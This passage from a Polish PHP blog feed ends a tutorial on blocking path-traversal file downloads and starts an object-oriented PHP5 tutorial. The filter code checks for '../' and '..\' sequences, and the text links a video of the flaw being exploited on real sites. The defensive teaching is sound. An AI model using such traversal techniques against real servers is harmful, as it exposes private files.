&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Niepoprawne ID pliku!'</span>; <span class="co1">// nie znaleziono pliku o podanym ID, blad!</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zamkniecie polaczenia </span><br />
<span class="br0">&#125;</span><br />
<span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'Brak ID pliku!'</span>; <span class="co1">// nie znaleziono pliku o podanym ID, blad!</span><br />
<span class="br0">&#125;</span> <br />
<span class="kw2">?&gt;</span></div>
<p>Należy pamiętać, że ważnym aspektem zachowania bezpieczeństwa jest także odpowiednia filtracja przy dodawaniu rekordów z nazwami plików do bazy.</p>
<p style="text-align: center;"><a href="http://farm4.static.flickr.com/3014/2847271125_0d1894e6f0_o.png" title="Przykład działania AFD" onclick="this.target='_blank';"><img src="http://farm4.static.flickr.com/3014/2847271125_ea2576202d.jpg" alt="Przykład działania AFD" /></a></p>
<h1>Ściąganie pliku po jego nazwie.</h1>
<p>Tym razem zabezpieczenie będzie trzeba zrobić bardziej intuicyjnie i oparte tylko na odpowiednim filtrowaniu. Wszystko zależy tutaj od tego skąd chcemy ściągać pliki. Przede wszystkim powinniśmy <strong>zabronić</strong> jakiegokolwiek pobierania z katalogów nadrzędnych, a także z katalogów podrzędnych w których znajdują się pliki będące integralną częścią strony. Najwygodniej oczywiście byłoby ustawić jeden, konkretny katalog do ściągania. Nie mniej jednak my skupimy się na ograniczeniu do <strong>n-tej</strong> ilości podkatalogów. Ostatecznie należy pamiętać także, aby w katalogach do których będzie miał dostęp użytkownik z poziomu skryptu pobierającego nie było plików innych niż zdatne do takiego ściągnięcia, no i ewentualnie <strong>index.html</strong> z pustą stroną.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">function</span> afdFiltration<span class="br0">&#40;</span><span class="re0">$file</span>, <span class="re0">$a_extns</span>, <span class="re0">$pattern</span> = <span class="st0">''</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$file</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <a href="http://www.php.net/html_entity_decode"><span class="kw3">html_entity_decode</span></a><span class="br0">&#40;</span><a href="http://www.php.net/urldecode"><span class="kw3">urldecode</span></a><span class="br0">&#40;</span><span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#41;</span>; <span class="co1">// usunięcie postaci procentowej znaków i zdekodowanie encji na znaki</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// sprawdzenie, czy wystepuje w ciagu ../ i ..\</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/strpos"><span class="kw3">strpos</span></a><span class="br0">&#40;</span><span class="re0">$file</span>, <span class="st0">'../'</span><span class="br0">&#41;</span> <span class="sy0">!</span>== <span class="kw2">false</span> <span class="sy0">||</span> <a href="http://www.php.net/strpos"><span class="kw3">strpos</span></a><span class="br0">&#40;</span><span class="re0">$file</span>, <span class="st0">'..<span class="es0">\'</span>) !== false ) <br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return '</span><span class="st0">';<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if ( $pattern != '</span><span class="st0">' )<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ( !preg_match($pattern, $file) ) // jesli podano wzor to sprawdzenie czy pokrywa sie on z podanym plikiem<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return '</span><span class="st0">';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $extension&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = strtolower(end(explode(&quot;.&quot;, $file))); // rozszerzenie pliku<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ( in_array($extension, $a_extns) === false ) // sprawdzenie czy rozszerzenie pliku pokrywa sie z dozwolonymi rozszerzeniami w skrypcie<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return '</span><span class="st0">';<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if ( file_exists($file) === false ) // sprawdzenie istnienia pliku<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return '</span><span class="st0">';<br />
&nbsp; &nbsp; &nbsp; &nbsp; }</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; return $file; // zwrocenie przefiltrowanego adresu pliku<br />
}</p>
<p>require_once '</span>.<span class="sy0">/</span>mimes.inc.php<span class="st0">'; // plik z funkcja rozpoznajaca typy mime (function getMimeType(file))</p>
<p>$allowed_extensions &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = array('</span>pdf<span class="st0">', '</span>txt<span class="st0">', '</span>c<span class="st0">'); // dozwolone rozszerzenia plikow<br />
$pattern&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = '</span><span class="st0">'; // opcjonalny wzor do sprawdzenia poprawnosci wprowadzonego adresu pliku</p>
<p>$file &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = ( isset($_GET['</span><a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="st0">']) ? afdFiltration($_GET['</span><a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="st0">'], $allowed_extensions, $pattern) : '</span><span class="st0">' ); // wywolanie funkcji filtrujacej, gdy podano argument file</p>
<p>if ( $file != '</span><span class="st0">' ) // w wypadku pozytywnego przejscia filtracji<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; header('</span>Cache-control: <span class="kw2">private</span><span class="st0">');<br />
&nbsp; &nbsp; &nbsp; &nbsp; header('</span>Content-Length: <span class="st0">' . filesize($file));<br />
&nbsp; &nbsp; &nbsp; &nbsp; header('</span>Content-Type: <span class="st0">' . getMimeType($file)); // wyslanie odpowiedniego typu MIME pliku zwracanego przez funkcje getMimeType (do napisania ;])<br />
&nbsp; &nbsp; &nbsp; &nbsp; header('</span>Content-Disposition: attachment; filename=<span class="st0">' . basename(strtolower(end(explode(&quot;/&quot;, $file)))));<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; // odczytanie pliku<br />
&nbsp; &nbsp; readfile($file);<br />
}<br />
else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; print '</span>Nieprawidłowa nazwa lub ścieżka <span class="kw1">do</span> pliku<span class="sy0">!</span><span class="st0">'; // nie znaleziono pliku o podanym ID, blad!<br />
}<br />
?&gt;</span></div>
<p>Zasada powyższego, przykładowego skryptu jest prosta. Filtrujemy w trzech poziomach. Zmieniając encje na znaki usuwamy ciąg <strong>../</strong> z adresu. Sprawdzamy opcjonalnie adres do pliku wg. zadanego przez nas wzorca (o ile takowy podamy) i ostatecznie porównujemy rozszerzenie pliku z dozwolonymi przez nas osobiście rozszerzeniami. Przykładem wzorca dla wyrażenia regularnego będzie np.:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="re0">$pattern</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="st0">'/^([a-zA-Z0-9<span class="es0">\_</span><span class="es0">\-</span>]+)<span class="es0">\\</span>.([a-z0-9]{2,4})$/'</span>;</div>
<p>Pozwala ono na ściąganie dowolnego pliku zawierającego w sobie duże i małe litery, cyfry oraz znaki _ i -, a także rozszerzenie będące małymi literami i/lub cyframi o długości od dwóch do czterech znaków.</p>
<p>Na koniec przekazuje kilku minutowy filmik obrazujący znalezienie i użycie błędu. Zapraszam <a href="http://6thavenue.org/stro/-movies/afd_attack_movie/afd_attack_movie.avi" title="Zobrazowanie błędu"><strong>tutaj</strong></a>.</p>
<p>Uprzejmie proszę też o komentarze, jak wygląda ten tutorial, czy jest przydatny i przede wszystkim czy taka forma i taka ilość informacji będzie odpowiednia dla przyszłych artykułów z tego zakresu.</p>
<p>PS: <strong>wszelkie znalezione i ukazane błędy zostały przedstawione tylko i wyłącznie w formie edukacyjnej. Nie odpowiadam za formę wykorzystania ich przez użytkowników. Błędy zgłosiłem twórcą stron, więc prędzej czy później mogą one zostać załatane. Proszę o rozsądne ich wykorzystanie przy kształceniu własnych możliwości i NIE NISZCZENIE pracy autorów tych stron.</strong>.</p>
<p style="font-size: 9px;">copyright &copy; 2008, <strong>m1chu</strong></p>
<p style="font-size: 9px;">udostępnione na licencji <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/" title="CC">CC</a> dla <strong>vivee.info</strong> i <strong>m1chu.eu</strong></p>
<img src="http://vivee.info/?ak_action=api_record_view&id=158&type=feed" alt="" /><p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fvivee.info%2F2008%2F09%2F24%2Fjak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p>]]></content:encoded>
			<wfw:commentRss>http://vivee.info/2008/09/24/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
<enclosure url="http://6thavenue.org/stro/-movies/afd_attack_movie/afd_attack_movie.avi" length="64736152" type="video/x-msvideo" />
		</item>
		<item>
		<title>Wstęp do programowania zorientowanego obiektowo w PHP5&#8230;</title>
		<link>http://vivee.info/2008/09/17/wstep-do-programowania-zorientowanego-obiektowo-w-php5/</link>
		<comments>http://vivee.info/2008/09/17/wstep-do-programowania-zorientowanego-obiektowo-w-php5/#comments</comments>
		<pubDate>Wed, 17 Sep 2008 01:50:53 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Skrypty server-side]]></category>

		<guid isPermaLink="false">http://vivee.info/?p=155</guid>
		<description><![CDATA[Piąta odsłona PHP w porównaniu z poprzednią jest w pełni funkcjonalnym, zorientowanym obiektowo językiem. Z fundamentalnego punktu widzenia OOP (skrót od Object Oriented Programming) jest koncepcją grupowania danych i kodu w logiczne całości zwane po prostu klasami. Tematyka ta wiąże się z takimi pojęciami jak deklaracja klasy, tworzenie instancji obiektu, metody, właściwości, kapsułkowanie, stałe klasy, [...]]]></description>
			<content:encoded><![CDATA[<p>Piąta odsłona PHP w porównaniu z poprzednią jest w pełni funkcjonalnym, zorientowanym obiektowo językiem. Z fundamentalnego punktu widzenia <strong>OOP</strong> (skrót od <em>Object Oriented Programming</em>) jest koncepcją grupowania danych i kodu w logiczne całości zwane po prostu <strong>klasami</strong>. Tematyka ta wiąże się z takimi pojęciami jak deklaracja klasy, tworzenie <a href="http://utnij.eu/instancja-prog-wiki/" title="Instancja - programowanie - wikipedia">instancji</a> <a href="http://utnij.eu/obiekt-oop-wiki/" title="Obiekt - OOP - wikipedia">obiektu</a>, metody, właściwości, kapsułkowanie, stałe klasy, czy metody i właściwości statyczne. I to właśnie te elementy będę starał się Wam łatwo, prosto i przyjemnie zaprezentować tym razem.</p>
<p><span id="more-155"></span></p>
<h2>Deklaracja klasy, tworzenie, klonowanie oraz niszczenie instancji obiektu na przebudzenie...</h2>
<p>Klasa jest reprezentacją <strong>metod</strong> (nazywanych także funkcjami) i <strong>właściwości</strong> (nazywanych także z nieobiektowych aplikacji, czy skryptów po prostu zmiennymi). Zbiór klas ma na celu stworzyć ogólny, współdziałający interfejs dla przyszłych użytkowników. Sama klasa w sobie, pomijając pewne zastosowania statyczne jest tylko kontenerem, projektem dla mniejszych paczek których jest reprezentacją. Użyć je można oczywiście poprzez utworzenie instancji na obiekcie, których można wykreować dowolnie dużo.</p>
<p>Pojęciem od którego zaczniemy jest deklaracja klasy, w najprostszej postaci wyglądająca tak:</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">class</span> mojaKlasa <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// zawartosc klasy w postaci metod, wartosci czy stalych</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">?&gt;</span></div>
<p>Kiedy już wykonamy powyższą deklarację, możemy przystąpić do instancjonowania obiektu, które z goła jest tak samo proste jak poprzednia czynność.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="re0">$instancja</span> = <span class="kw2">new</span> mojaKlasa<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// za pomocą konstrukcji new</span></div>
<p>Ponieważ obiekt, w tym wypadku do zmiennej <strong>$instancja</strong> przekazywany jest zawsze jako uchwyt (w praktycznym podejściu można uważać, że jako referencja) możliwe jest bezproblemowe skopiowanie instancji do innej zmiennej poprzez ich zwyczajne przyrównanie. To rozróżnia zmienną <strong>$instancja</strong> od zwykłych zmiennych dla których dane przekazywane są jako wartość. Ważnym jest, że poprzez taki zabieg instancje odnoszą się do jednej klasy, więc zmiana danych poprzez jedną z nich automatycznie powoduje zmianę w drugiej. Można tego uniknąć poprzez klonowanie obiektu używając operatora <strong>clone</strong> (ponieważ dla nowej powielonej instancji zostanie zaalokowana nowa przestrzeń pamięci to zmiany na pierwotnej zmiennej przetrzymującej obiekt nie będę się odbijać na sklonowanej).</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="re0">$instancja</span> = <span class="kw2">new</span> klasa<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$instancja</span>-<span class="sy0">&gt;</span><span class="me1">var</span> = <span class="st0">'X'</span>;<br />
<span class="re0">$nowa_instancja</span> = <span class="re0">$instancja</span>; <span class="co1">// kopiowanie instancji, obydwie zmienne będą wskazywać na ten sam obiekt</span><br />
<span class="re0">$nowa_instancja</span>-<span class="sy0">&gt;</span><span class="me1">var</span> = <span class="st0">'Z'</span>;</p>
<p><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$instancja</span>-<span class="sy0">&gt;</span><span class="me1">var</span>; <span class="co1">// zwroci Z</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$nowa_instancja</span>-<span class="sy0">&gt;</span><span class="me1">var</span>; <span class="co1">// zwroci Z</span><br />
<span class="br0">&#91;</span>...<span class="br0">&#93;</span><br />
<span class="re0">$instancja</span> = <span class="kw2">new</span> klasa<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$instancja</span>-<span class="sy0">&gt;</span><span class="me1">var</span> = <span class="st0">'X'</span>;<br />
<span class="re0">$sklonowana_instanca</span> = clone <span class="re0">$instancja</span>; <span class="co1">// klon instancji</span><br />
<span class="re0">$sklonowana_instancja</span> = <span class="st0">'Z'</span>;</p>
<p><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$instancja</span>-<span class="sy0">&gt;</span><span class="me1">var</span>; <span class="co1">// zwroci X</span><br />
<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$sklonowana_instancja</span>-<span class="sy0">&gt;</span><span class="me1">var</span> <span class="co1">// zwroci Z</span></div>
<p>Instancja zostaje zniszczona automatycznie po wygenerowaniu całego skryptu. Nie mnie jednak gdybyśmy potrzebowali zrobić to ręcznie to służy do tego funkcja <strong>unset(parametr);</strong>.</p>
<div class="php dean_ch" style="white-space: nowrap;"><a href="http://www.php.net/unset"><span class="kw3">unset</span></a><span class="br0">&#40;</span><span class="re0">$instancja</span><span class="br0">&#41;</span>;</div>
<p>Nie mniej jednak należy pamiętać, że jeśli w międzyczasie skopiujemy instancję tak jak to pokazałem powyżej to obiekt nie zostanie zniszczony dopóki nie usuniemy wszystkich zmiennych będących instancją danego obiektu.</p>
<h2>Śniadanie z dziedziczeniem...</h2>
<p>Żeby przejść do metod i właściwości niezbędne jest zapoznanie się z <strong>dziedziczeniami</strong> dostępnymi w OOP. Dziedziczenie pozwala na bezpośrednie korzystanie z zasobów jednej klasy przez inne, dodawanie nowych funkcji i zmiennych, a ostatecznie jeżeli nie ogranicza tego specjalny parametr metod lub klasy z której się dziedziczy także przedefiniowanie niektórych zasobów. A wszystko dzięki umieszczeniu w linii deklaracji klasy która ma dziedziczyć <strong>extends klasa_dziedziczona</strong>.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
<span class="co1">// w przykladzie pominieto typy hermetyzacji metod z racji tego, ze zostana one omowione w nastepnym dziale - przyjmijmy domyślnie więc, że są one publiczne, dostępne z każdego miejsca skryptu po utworzeniu instancji</span></p>
<p><span class="kw2">class</span> klasaDziedziczona <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaA<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczona::metodaA'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaB<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczona::metodaB'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> klasaDziedziczacaA <span class="kw2">extends</span> klasaDziedziczona <span class="br0">&#123;</span> <span class="co1">// klasaDziedziczacaA dziedziczy z klasaDziedziczona</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaA<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczacaA::metodaA'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> klasaDziedziczacaB <span class="kw2">extends</span> klasaDziedziczona <span class="br0">&#123;</span> <span class="co1">// klasaDziedziczacaB dziedziczy z klasaDziedziczona</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaA<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> parent::<span class="me2">metodaB</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaB<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczacaB::metodaA'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaX<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczacaB::metodaX'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw2">class</span> klasaDziedziczacaC <span class="kw2">extends</span> klasaDziedziczacaA <span class="br0">&#123;</span> <span class="co1">// klasaDziedziczacaC dziedziczy z klasaDziedziczacaA (zarazem może mieć dostęp do klasy bazowej klasaDziedziczona)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaA<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">'wywolano -&gt; klasaDziedziczacaC::metodaA'</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaB<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> parent::<span class="me2">metodaB</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaC<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> klasaDziedziczona::<span class="me2">metodaB</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">function</span> metodaD<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> klasaDziedziczacaB::<span class="me2">metodaX</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="re0">$klasa</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasaDziedziczona<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$klasaA</span> &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasaDziedziczacaA<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$klasaB</span> &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasaDziedziczacaB<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="re0">$klasaC</span> &nbsp; &nbsp; &nbsp; &nbsp; = <span class="kw2">new</span> klasaDziedziczacaC<span class="br0">&#40;</span><span class="br0">&#41;</span>;</p>
<p><span class="re0">$klasa</span>-<span class="sy0">&gt;</span><span class="me1">metodaA</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczona::metodaA</span><br />
<span class="re0">$klasa</span>-<span class="sy0">&gt;</span><span class="me1">metodaB</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczona::metodaB</span><br />
<span class="re0">$klasaA</span>-<span class="sy0">&gt;</span><span class="me1">metodaA</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczacaA::metodaA</span><br />
<span class="re0">$klasaB</span>-<span class="sy0">&gt;</span><span class="me1">metodaA</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczona::metodaB</span><br />
<span class="re0">$klasaB</span>-<span class="sy0">&gt;</span><span class="me1">metodaB</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczacaB::metodaB</span><br />
<span class="re0">$klasaC</span>-<span class="sy0">&gt;</span><span class="me1">metodaA</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczacaC::metodaA</span><br />
<span class="re0">$klasaC</span>-<span class="sy0">&gt;</span><span class="me1">metodaB</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczona::metodaB</span><br />
<span class="re0">$klasaC</span>-<span class="sy0">&gt;</span><span class="me1">metodaC</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczona::metodaB</span><br />
<span class="re0">$klasaC</span>-<span class="sy0">&gt;</span><span class="me1">metodaD</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// zwroci wywolano -&gt; klasaDziedziczacaB::metodaX</span><br />
<span class="kw2">?&gt;</span></div>
<p>Kilka słów wyjaśnienia. Z klasy nadrzędnej dziedziczą bezpośrednio dwie kolejne: <strong>klasaDziedziczacaA</strong> i <strong>klasaDziedziczacaB</strong>. W pierwszej z nich występuje metoda nadpisująca metodę z klasy dziedziczonej (prościej mówiąc, o tej samej nazwie), przez co wywołanie <strong>$klasaA->metodaA();</strong> powoduje, że otrzymujemy treść z klasy dziedziczącej, a nie dziedziczonej. W drugiej z tych klas miałem zamiar w metodzie <strong>metodaA()</strong> pokazać użycie operatora zasięgu <strong>::</strong> i słowa <strong>parent</strong>. Pozwala ono nam na dostęp do nadpisanych metod w klasie z której dziedziczymy (a w wypadku ciągu klas dziedziczonych po sobie z najwyższego rodzica). W tym wypadku jest to nam potrzebne, gdyż nadpisanie następuje właśnie w klasie w której się znajdujemy w metodzie <strong>metodaB()</strong>. No i ostatecznie w klasie <strong>klasaDziedziczacaC</strong> jest pokazane jak odnieść się do metody rodzica z poziomu któregoś dziedziczenia z rzędu, a także jak statycznie wywołać metody które znajdują się w klasie rodzica lub w klasach pośredniczących.</p>
<p>Ktoś mógłby teraz spytać dlaczego nie użyłem wielokrotnego dziedziczenia. Takowe występuje tylko w przypadku interfejsów, o czym wspomnę za pewnie w następnej części artykułu. Oczywiście dałoby się to pośrednio za pomocą dostępnych w PHP narzędzi ominąć, ale to już temat na osobny wpis z omówieniem takowej metody.</p>
<p>Jest także jeszcze jedna metodyka korzystania z dziedziczenia. Polega ona na tworzeniu instancji tylko obiektu klasy dziedziczącej.</p>
<div class="php dean_ch" style="white-space: nowrap;"><span class="kw2">&lt;?php</span><br />
